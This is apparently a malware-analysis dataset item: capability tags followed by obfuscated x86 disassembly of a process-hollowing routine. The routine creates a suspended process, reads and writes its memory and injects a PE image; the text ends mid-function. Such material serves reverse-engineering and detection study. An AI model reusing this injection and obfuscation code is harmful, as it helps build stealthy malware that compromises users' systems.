Function at 0x10009050
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a4
mov eax, dword [0x1006cc04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1ac], 0xad9447a5
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1b0], eax
sub eax, 0x811657ca
je 0x100100e7
jmp 0x1000908c
mov eax, dword [ebp - 0x1b0]
sub eax, 0x81445b13
je 0x1000c54a
jmp 0x100090a2
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8187f710
je 0x1000cd3a
jmp 0x100090b8
mov eax, dword [ebp - 0x1b0]
sub eax, 0x81b6de66
je 0x10010d2c
jmp 0x100090ce
mov eax, dword [ebp - 0x1b0]
sub eax, 0x834cd6c4
je 0x1000e6ed
jmp 0x100090e4
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8397e3c4
je 0x1000b29c
jmp 0x100090fa
mov eax, dword [ebp - 0x1b0]
sub eax, 0x83c9eba0
je 0x1000bbd0
jmp 0x10009110
mov eax, dword [ebp - 0x1b0]
sub eax, 0x86659645
je 0x1000f37c
jmp 0x10009126
mov eax, dword [ebp - 0x1b0]
sub eax, 0x866fcb5a
je 0x1000e5ef
jmp 0x1000913c
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8670ddfd
je 0x1000e069
jmp 0x10009152
mov eax, dword [ebp - 0x1b0]
sub eax, 0x86e395f9
je 0x1000e1e7
jmp 0x10009168
mov eax, dword [ebp - 0x1b0]
sub eax, 0x86f900d0
je 0x1000ea3f
jmp 0x1000917e
mov eax, dword [ebp - 0x1b0]
sub eax, 0x878767d5
je 0x1000fc77
jmp 0x10009194
mov eax, dword [ebp - 0x1b0]
sub eax, 0x87b73ec8
je 0x1000d0a5
jmp 0x100091aa
mov eax, dword [ebp - 0x1b0]
sub eax, 0x89206e3c
je 0x1000f63e
jmp 0x100091c0
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8a5a5aa8
je 0x1000c415
jmp 0x100091d6
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8b29484c
je 0x1000f229
jmp 0x100091ec
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8b2f9804
je 0x1000caba
jmp 0x10009202
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8b92a8da
je 0x1000cc73
jmp 0x10009218
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8c6ddae8
je 0x1001080f
jmp 0x1000922e
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8cc03e98
je 0x1000f30d
jmp 0x10009244
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8ce8b6cf
je 0x1000cbd2
jmp 0x1000925a
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8ced765a
je 0x10010e8f
jmp 0x10009270
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8db64324
je 0x10010da6
jmp 0x10009286
mov eax, dword [ebp - 0x1b0]
sub eax, 0x900723cc
je 0x1000cb0b
jmp 0x1000929c
mov eax, dword [ebp - 0x1b0]
sub eax, 0x90a385af
je 0x1000dc8c
jmp 0x100092b2
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9196a3ce
je 0x1000d5b9
jmp 0x100092c8
mov eax, dword [ebp - 0x1b0]
sub eax, 0x91b13d89
je 0x1000eb57
jmp 0x100092de
mov eax, dword [ebp - 0x1b0]
sub eax, 0x922bd949
je 0x10010b97
jmp 0x100092f4
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9291aabe
je 0x1000fe3e
jmp 0x1000930a
mov eax, dword [ebp - 0x1b0]
sub eax, 0x94f1d507
je 0x10010b58
jmp 0x10009320
mov eax, dword [ebp - 0x1b0]
sub eax, 0x95766f3a
je 0x1000e146
jmp 0x10009336
mov eax, dword [ebp - 0x1b0]
sub eax, 0x958dfeca
je 0x1000bb5a
jmp 0x1000934c
mov eax, dword [ebp - 0x1b0]
sub eax, 0x97319f4f
je 0x1000d7ee
jmp 0x10009362
mov eax, dword [ebp - 0x1b0]
sub eax, 0x97d105f1
je 0x1000b534
jmp 0x10009378
mov eax, dword [ebp - 0x1b0]
sub eax, 0x999cbc04
je 0x1000f1c9
jmp 0x1000938e
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9bf5b368
je 0x1000f740
jmp 0x100093a4
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9c46b31f
je 0x1000ffe8
jmp 0x100093ba
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9cbc30de
je 0x1000e328
jmp 0x100093d0
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9ed48a76
je 0x1000b6f4
jmp 0x100093e6
mov eax, dword [ebp - 0x1b0]
sub eax, 0x9ff2025c
je 0x1000d2ff
jmp 0x100093fc
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa03c401b
je 0x1000c220
jmp 0x10009412
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa12a3179
je 0x1000fa2d
jmp 0x10009428
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa1473914
je 0x1000bff2
jmp 0x1000943e
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa15b777e
je 0x1000cfca
jmp 0x10009454
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa17714e4
je 0x1000e2d7
jmp 0x1000946a
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa2b02412
je 0x1000ef8d
jmp 0x10009480
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa32d3952
je 0x1000d150
jmp 0x10009496
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa474415e
je 0x1001081e
jmp 0x100094ac
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa5140303
je 0x1000c2f6
jmp 0x100094c2
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa553e487
je 0x10010924
jmp 0x100094d8
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa5f3bd91
je 0x1000c7bc
jmp 0x100094ee
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa6feb01f
je 0x1000d982
jmp 0x10009504
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa73099f4
je 0x10010e41
jmp 0x1000951a
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa81f3898
je 0x1000bcf9
jmp 0x10009530
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa98f0c49
je 0x10010d1d
jmp 0x10009546
mov eax, dword [ebp - 0x1b0]
sub eax, 0xaa33d486
je 0x1000ed07
jmp 0x1000955c
mov eax, dword [ebp - 0x1b0]
sub eax, 0xab0c9ace
je 0x1000b0d3
jmp 0x10009572
mov eax, dword [ebp - 0x1b0]
sub eax, 0xab309300
je 0x1000cee6
jmp 0x10009588
mov eax, dword [ebp - 0x1b0]
sub eax, 0xad8c77e8
je 0x1000b3a3
jmp 0x1000959e
mov eax, dword [ebp - 0x1b0]
sub eax, 0xad9447a5
je 0x1000ae79
jmp 0x100095b4
mov eax, dword [ebp - 0x1b0]
sub eax, 0xadeb2f7a
je 0x10010e2c
jmp 0x100095ca
mov eax, dword [ebp - 0x1b0]
sub eax, 0xaf9fdf90
je 0x10010d97
jmp 0x100095e0
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb052c33b
je 0x1000b9c9
jmp 0x100095f6
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb0a36126
je 0x1000d860
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x1ac], 0x5c46d7c9
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0x2961b50
sub edx, 1
add edx, 0x2961b50
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1b549b39
mov ecx, 0xc05996df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x6d187676
sub edx, 1
add edx, 0x6d187676
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1c5b1e07
mov ecx, 0xfe30e92f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfac866d7
mov ecx, 0x68240d28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x41f25b5e
mov ecx, 0x1134a878
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov edx, dword [ebp - 0x12c]
mov eax, 0x5ce0a2aa
mov ecx, 0xcd663333
cmp edx, 0x4550
cmove eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xba51b5b5
mov ecx, 0x7efa4c46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0xf16fd6a0
sub edx, 1
add edx, 0xf16fd6a0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xba51b5b5
mov ecx, 0x83c9eba0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov dword [ebp - 0x1ac], 0x523b701c
jmp 0x10011037
mov al, byte [ebp - 0x171]
and al, 1
mov byte [ebp - 0x123], al
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0x251716ab
sub edx, 1
sub edx, 0x251716ab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3cd43876
mov ecx, 0xd884b1fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x50b7bb14
sub edx, 1
sub edx, 0x50b7bb14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdb4b5575
mov ecx, 0xe044bd66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov edx, dword [ebp - 0x178]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x122], al
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x63ed70be
mov ecx, 0xa5140303
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xd7fce01e
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x214c0f98
sub edx, 1
sub edx, 0x214c0f98
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc76a8720
mov ecx, 0xf882872c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov dl, byte [ebp - 0x122]
mov eax, 0xcd65eb37
mov ecx, 0xe34bb2bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x8c65b2b2
sub edx, 1
add edx, 0x8c65b2b2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd9d1c1d2
mov ecx, 0x75580476
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0xa24ab9d9
sub edx, 1
sub edx, 0xa24ab9d9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3275979c
mov ecx, 0x900723cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x8b14ad10
sub edx, 1
add edx, 0x8b14ad10
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3275979c
mov ecx, 0x289ea070
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0xb27e3f9b
sub edx, 1
sub edx, 0xb27e3f9b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x50cafc49
mov ecx, 0xc02a2522
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0x38f3ebb5
sub edx, 1
add edx, 0x38f3ebb5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd00a94a9
mov ecx, 0xcff7025f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0xac2259cb
sub edx, 1
add edx, 0xac2259cb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x33de4b27
mov ecx, 0x1bdaf2f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xa09d1d24
sub edx, 1
sub edx, 0xa09d1d24
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3af0dc5f
mov ecx, 0x76f1c03b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda2942ee
mov ecx, 0xeee08f34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0x685be1d3
sub edx, 1
sub edx, 0x685be1d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb155801c
mov ecx, 0xd86f9561
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [ebp - 0x188]
imul ecx, dword [ebp - 0x18c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x188]
imul ecx, dword [ebp - 0x18c], 0x28
add eax, ecx
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x1ac], 0x7b4b149f
jmp 0x10011037
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x1ac], 0x3682684a
jmp 0x10011037
mov dword [ebp - 0x1ac], 0x2b97446f
jmp 0x10011037
mov dl, byte [ebp - 0xdd]
mov eax, 0xfcc8c137
mov ecx, 0xfafb691b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xfcc8c137
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xd6a6e6e
jmp 0x10011037
mov eax, dword [ebp - 0x190]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0xb5], al
mov dword [ebp - 0x1ac], 0x62e8c86a
jmp 0x10011037
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x190]
mov eax, dword [eax + 4]
xor ecx, ecx
sub ecx, 8
add eax, ecx
shr eax, 1
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x16c]
mov edx, dword [ecx + 0x34]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x160]
mov dword [eax], 0
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf077bdb0
mov ecx, 0x7ecac455
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xdd3878b5
sub edx, 1
sub edx, 0xdd3878b5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x94f1d507
mov ecx, 0xdc101a9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x965537e7
sub edx, 1
add edx, 0x965537e7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1fdd2a1b
mov ecx, 0x9cbc30de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0xa5], al
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xeebf243
sub edx, 1
sub edx, 0xeebf243
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1fdd2a1b
mov ecx, 0x3ce9e030
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x190]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x98], eax
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x5a5cbba5
sub edx, 1
add edx, 0x5a5cbba5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d18e4b8
mov ecx, 0x7134db68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [ebp - 0x98]
movzx eax, word [eax]
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov ecx, dword [ebp - 0x9c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x158]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x91], al
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0xb1816dcd
sub edx, 1
add edx, 0xb1816dcd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x922bd949
mov ecx, 0x2c4e1294
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
add edx, 0xa8ee2399
sub edx, 1
sub edx, 0xa8ee2399
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc0a2e7df
mov ecx, 0x2a5274a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
sub edx, 0x8ab2f4a9
sub edx, 1
add edx, 0x8ab2f4a9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7920a4d7
mov ecx, 0x448c2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov dword [ebp - 0x1ac], 0xca33223b
jmp 0x10011037
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
sub edx, 0x99bf0c57
sub edx, 1
add edx, 0x99bf0c57
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x652fe1d8
mov ecx, 0x3936948d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [0x1006de88]
mov ecx, dword [0x1006de84]
mov edx, eax
add edx, 0xbe272076
sub edx, 1
sub edx, 0xbe272076
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd45937e3
mov ecx, 0xe84f3017
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov ecx, dword [ebp - 0x17c]
add ecx, 0x615e90a
add ecx, 8
sub ecx, 0x615e90a
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x16c]
add eax, 0x18
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x1ac], 0x6eb4899d
jmp 0x10011037
mov edx, dword [ebp - 0x7c]
mov eax, 0x4f005124
mov ecx, 0xc8f73e63
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1ac], eax
jmp 0x10011037
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x16c]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov ecx, dword [0x1006de88]
mov eax, dword [0x1006de84]
mov edx, ecx
